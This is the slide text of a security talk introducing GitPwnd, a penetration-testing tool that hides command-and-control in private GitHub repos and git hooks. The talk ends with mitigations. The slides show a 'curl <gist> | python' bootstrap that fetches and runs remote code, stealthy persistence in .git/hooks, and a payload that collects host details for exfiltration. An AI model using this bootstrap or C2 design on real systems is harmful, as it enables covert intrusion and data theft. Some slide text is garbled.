Gitting Betrayed
How agile practices can make you vulnerable

Clint Gibler and Noah Beddome
"TRUST FALL!"

DAMN IT FRANK, NOT AGAIN
About Us

Clint Gibler

- Midwesterner in SF
- Security Researcher
- Was filmed monologuing to a live emu

Noah Beddome

- Lover of Root Beer
- Security Researcher
- Former Marine
Agenda

- Overview
- On Trust
- Development Focused Environments
- GitPwnd
- Mitigations
- Questions
Overview

We have spent the last few years attacking development-focused organizations and a key point of failure we observed was the bridging of trust zones. This was usually resulting from a variety of issues caused by the implicit trust and lack of guidance around developers and dev ops.

The goal of this talk is twofold:

1. Discuss how trust relationships between people and infrastructure can be exploited to own a network
2. Present a tool, GitPwnd, that puts these ideas into practice
   a. Assist security teams in attacking and assessing development-focused organizations.
   b. Act as a concrete example to demonstrate the impact of common issues around trust and configuration related to developers and dev-centered environments.
Part 1: On Trust
Trust Relationships - Definition

- The quantity and quality of trust between a number given entities such as people or trust zones
- Trust relationships are established based on the actual level of separation and segmentation implemented between trust zones
- Trust zones are areas of different level of security or sensitivity based on purpose and content
- Dev/DevOps engineers often invalidate trust relationships to get the job done
THE LIST OF PEOPLE

I TRUST
Trust Relationships - Types

● Employer + Employee
  ○ Employer gives access to sensitive assets, employee installs software provided by employer

● Organization + Technology
  ○ Organization installs software on sensitive assets and systems

● Client + Organization
  ○ Client / consumer provides sensitive data such as SSN or PAN data to organization

● Project + Contributors
  ○ Project allows contributors to modify code

● System + Network
  ○ System connects to a network and sends traffic / interacts with network and other systems

● Network + Network
  ○ Networks allows communication of different levels between defined networks
Trust Relationships - Discussion

- The level of trust between entities may not be the intended level of trust.
- Segmented environment may be interlinked by credentials, dependencies, routing, processes and applications.
- When rapid growth is essential and quality control is incredibly difficult.
- Trust is implicit, transitive and inherited
- Example:
  - Production ("prod") environment trusts the Staging environment
  - Staging trusts a limited number of release devs
  - These release devs use internal tools developed by another team
Part 2 : Development
Focused Environments
Dev Focused Environments

- Workstations
  - Mac / Linux
- General Users
  - Higher base level of permissions
- Dev / Local Dev
  - Vagrant VS Dedicated Remote Dev
- Version Control / Code Repositories
  - Git, Stash, P4
- Continuous Integration
  - Constant testing and processing
- Staging / Prod
- Administration
  - Corp and Prod
Attacking Agile Development Environments

- Developer exploitation
- CI/CD compromise
- Attacking centralized authentication vs. local
- Pivoting and lateral movement
- Local vs. remote development
War Stories
Compromise of Staging CI/CD results in takeover of Production Chef
Access to Staging CI allows modification of repos replicated into Prod.
UNIT TEST?
IT COMPILED: PASS
Part 3: GitPwnd
Traditional Command and Control (C2)

Detect:
- Agent-like processes
- Unusual behavior

Communication:
- HTTP
- IRC
- DNS

Send commands

Run commands

Send results

Victim machine

C2 Server

Detect:
- Unknown hosts
- Unknown IPs
- Examine traffic contents

Goals:
- Communicate with trusted network parties
- Mimic user behavior
#Goals

1. Be able to send commands to compromised machines and receive results
2. Communicate via trusted party
3. Mimic user behavior
4. Sub-goals
   a. Limit forensics
   b. Limit blast radius
# Goals

1. Command and control
2. Communicate via trusted party
3. Mimic user behavior
4. Sub-goals
   a. Limit forensics
   b. Limit blast radius

## Architecture Decisions

**Attacker server**

<table>
<thead>
<tr>
<th>GitHub delivery mechanisms:</th>
</tr>
</thead>
<tbody>
<tr>
<td>- Gists</td>
</tr>
<tr>
<td>- Git repos</td>
</tr>
</tbody>
</table>

**GitHub**

*Private*

**Command and control repo**

**Summary**

- Use GitHub to host C2
- Private git repo is transport layer
- Git hooks used to mimic user behavior

---

```
$ ls some_repo/.git
| config
| ...
| hooks/
| pre-commit.sample
| pre-merge.sample
```
HOLY WALL OF TEXT, BATMAN!
GitPwnd in Detail

We’re going to discuss using GitPwnd in four stages:

0. **Reconnaissance**
1. **Setup**
2. **Establishing persistence on a compromised machine**
   a. **Bootstrapping**
   b. **Running the agent**
3. **Spreading across machines and environments**
Reconnaissance process:
1. Examine target environment
   a. Language, framework
2. Choose target repo to mimic

Joe Dev

Their primary web app

$ ls ~/code
  | disruptr/
  | internal_tools/
  | ...

$ ls ~/code/disruptr
  | manage.py
  | urls.py
  | requirements.txt

$ cat ~/code/disruptr/requirements.txt
  Django
  ...

Integration of IPython pdb
  python  ipython  debugger
1. Setup

Setup process:
1. Create tokens for 2 GitHub accounts
   a. Primary
   b. Secondary
2. Run `setup.py`

- **Attacker server**
  - `git push`
  - `https://github.com/attacker/ipdb.git`

- **Joe Dev**
  - `git clone`
  - `https://github.com/attacker/ipdb.git`

- **GitHub**
  - Bootstrap gist
  - `@github.com/attacker/ipdb.git`

- **gotcha/ipdb**
  - `git clone`
  - `https://github.com/attacker/ipdb.git`
GitPwnd in Detail

We’re going to discuss using GitPwnd in four stages:

0. Reconnaissance
   a. We know the target’s primary language/framework
   b. We’ve chosen a popular library that fits into this ecosystem

1. Setup
   a. We’ve mirrored the popular library in a private GitHub repo
   b. We’ve created a private gist to bootstrap the persistence process

2. Establishing persistence on a compromised machine
   a. Bootstrapping
   b. Running the agent

3. Spreading across machines and environments
2. Persistence - Bootstrapping

GitHub

Joe Dev’s Laptop
~/code/disruptr/
| test/
  $ curl <gist> | python
  | .git/hooks/
    | pre-commit
    | pre-merge
    | pre-push

Bootstrapping Process
1. find_install_location()
2. clone_c2_repo()
3. install_agent()
4. create_git_hooks()
5. switch_to_benign_remote()
6. run_agent()

Agent copied to:
| .git/hooks/
  | post-merge.sample
2. Persistence - Agent

**Agent Process**
1. switch_to_c2_remote()
2. git_pull_commands()
3. run_commands()
4. git_commit_output()
5. git_push_results()
6. switch_to_benign_remote()

---

**GitHub**

- **Attacker server**
  - `git pull`
  - `switch_to_c2_remote()`
  - `git_pull_commands()`
  - `run_commands()`
  - `git_commit_output()`
  - `git_push_results()`
  - `switch_to_benign_remote()`

- **Joe Dev**
  - `get_origin`
  - `switch_to_proxy(remote)`
  - `check_re connexion()`
  - `get_hpname()`
  - `get_hp_key()`
  - `get_hp_ism()`

---

**Bootstrap gist**

- **Attacker server**
  - `git pull`
  - `switch_to_c2_remote()`
  - `git_pull_commands()`
  - `run_commands()`
  - `git_commit_output()`
  - `git_push_results()`
  - `switch_to_benign_remote()`

---

**Class Payload**

```python
class Payload:
    def __init__(self):
        self.results = {

# This is the main() method that's called by compromised machines
# Gather info/run commands and store the results in self.results
    def run(self):
        self.results["username"] = self.get_username()
        self.results["mac_address"] = self.get_mac_address()
        self.results["env"] = self.get_env()
        self.results["ifconfig"] = self.get_ifconfig()
        self.results["ps_services"] = self.get_services()
```
3. Spreading

Code Hosting / CI

Staging/Prod Server

Joe Dev

Alice Dev

Bob DevOps

Alice has:
- Access to repos Joe doesn’t
- Access to other internal systems

Bob has permission to:
- SSH to prod for troubleshooting
- Create release builds for prod
- Write access to Puppet/Chef/… repos
Future Features

- Encrypting exfiltrated information
- Additional tool support
  - Version control: P4, hg
  - CI/CD platforms: Jenkins, Travis
- Modules for common reconnaissance and exploitation tasks
GitPwnd Summary

- Tool for penetration tests that enables command and control via common development infrastructure
  - Uses a private git repo on GitHub
- Flexible
  - Commands can be arbitrary Python
  - Mimics arbitrary public git repo that fits into the target environment
  - Bootstrapping is easily tailored to the target environment
- Targeted primarily at agile development environments
- Written to highlight the potential risks of mismanaging trust relationships in an enterprise
Demo!
Part 4: Mitigation
Root Cause Analysis

- Development security has not grown at the pace of development
- Security and development are historically handled as separate silos
- Lack of documentation and definition of trust relationships
- Incomplete technical controls
Mitigation - Processes and Procedures

- Commits should be reviewed as part of standard deployment process
  - Changes that add or modify external source or code execution
  - Changes to set up steps and dependencies
- Defined development process that matches the culture and requirements of the organization
- Review development and staging / production environments with engineering teams for design and definition of trust zones.
- Work with development teams to create secure procedures for day to day engineering operations
Mitigation - Technical Controls

● SDLC
  ○ Sandbox CI processes running integration tests
  ○ Consider requiring PGP signing for commits
    ■ Have CI/CD processes require signed commits from valid users
  ○ Examine your git hooks

● Host-based
  ○ Monitoring and alerting

● Network Segmentation
  ○ Routing and switching
  ○ System / code tenancy
Questions?
Contact Info

@clintgibler @domodogood

clint.gibler@nccgroup.trust noah.beddome@datadoghq.com